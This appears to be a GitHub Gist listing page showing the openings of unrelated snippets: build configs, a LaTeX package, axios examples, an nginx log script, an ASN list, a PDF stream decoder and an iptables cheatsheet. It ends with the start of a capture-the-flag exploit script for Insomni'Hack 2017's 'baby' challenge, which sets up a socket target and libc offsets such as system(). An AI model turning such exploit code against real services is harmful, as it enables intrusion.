Skip to content

Instantly share code, notes, and snippets.

@andrewdelprete
andrewdelprete / webpack.config.js
Last active April 12, 2023 01:55
Webpack: Tailwind CSS + PurgeCSS Example
const ExtractTextPlugin = require("extract-text-webpack-plugin");
const path = require("path");
const glob = require("glob-all");
const PurgecssPlugin = require("purgecss-webpack-plugin");
/**
* Custom PurgeCSS Extractor
* https://github.com/FullHuman/purgecss
* https://github.com/FullHuman/purgecss-webpack-plugin
*/
@andrewfowlie
andrewfowlie / highlight.sty
Last active May 3, 2020 07:33
LaTeX package for highlighting text that looks like a hand-drawn highlighter pen
\NeedsTeXFormat{LaTeX2e}[1994/06/01]
\ProvidesPackage{highlight}[2017/09/13 Highlight]
% All credit to https://tex.stackexchange.com/a/6029/35729
\usepackage{soul}
\usepackage{tikz}
\usetikzlibrary{calc}
\usetikzlibrary{decorations.pathmorphing}
#!/bin/bash
# variables
LOGFILE="/var/log/nginx/access.log"
LOGFILE_GZ="/var/log/nginx/access.log.*"
RESPONSE_CODE="200"
# functions
filters(){
grep $RESPONSE_CODE \
@javilobo8
javilobo8 / download-file.js
Last active April 9, 2024 12:01
Download files with AJAX (axios)
axios({
url: 'http://localhost:5000/static/example.pdf',
method: 'GET',
responseType: 'blob', // important
}).then((response) => {
const url = window.URL.createObjectURL(new Blob([response.data]));
const link = document.createElement('a');
link.href = url;
link.setAttribute('download', 'file.pdf');
document.body.appendChild(link);
@fgilio
fgilio / axios-catch-error.js
Last active April 11, 2024 19:02
Catch request errors with Axios
/*
* Handling Errors using async/await
* Has to be used inside an async function
*/
try {
const response = await axios.get('https://your.site/api/v1/bla/ble/bli');
// Success 🎉
console.log(response);
} catch (error) {
// Error 😨
# https://gist.github.com/achillean/1428757481e4b74e17bac962b6f71d55
# ASN Data: http://thyme.apnic.net/
10.30.10.2 -> (AS3356) LEVEL3 - Level 3 Communications, Inc., US
10.30.10.32 -> (AS3356) LEVEL3 - Level 3 Communications, Inc., US
10.30.1.130 -> (AS3356) LEVEL3 - Level 3 Communications, Inc., US
10.34.100.2 -> (AS3356) LEVEL3 - Level 3 Communications, Inc., US
125.10.31.145 -> (AS9824) JTCL-JP-AS Jupiter Telecommunication Co. Ltd, JP
129.187.244.204 -> (AS12816) MWN-AS, DE
129.194.41.4 -> (AS559) SWITCH Peering requests: <peering@switch.ch>, CH
129.194.49.47 -> (AS559) SWITCH Peering requests: <peering@switch.ch>, CH
@averagesecurityguy
averagesecurityguy / pdf_flatedecode.py
Last active April 20, 2024 17:56
Decompress FlateDecode Objects in PDF
#!/usr/bin/env python3
# This script is designed to do one thing and one thing only. It will find each
# of the FlateDecode streams in a PDF document using a regular expression,
# unzip them, and print out the unzipped data. You can do the same in any
# programming language you choose.
#
# This is NOT a generic PDF decoder, if you need a generic PDF decoder, please
# take a look at pdf-parser by Didier Stevens, which is included in Kali linux.
# https://tools.kali.org/forensics/pdf-parser.
#
@mcastelino
mcastelino / iptables-cheatsheet.md
Last active May 1, 2024 09:10
iptables-cheatsheet

The netfilter hooks in the kernel and where they hook in the packet flow

The figure below calls out

  • The netfilter hooks
  • The order of table traversal
public class AudioManager : MonoBehaviour {
// Your audio clip
public AudioClip MusicClip;
// the component that Unity uses to play your clip
public AudioSource MusicSource;
// Use this for initialization
void Start () {
@niklasb
niklasb / baby.py
Created January 22, 2017 21:32
exploit for 'baby' from Insomni'Hack Teaser 2017
import socket
import telnetlib
import time
import struct
import sys
TARGET=('localhost', 1337)
offset___libc_start_main_ret = 0x203f1
offset_system = 0x00000000000456d0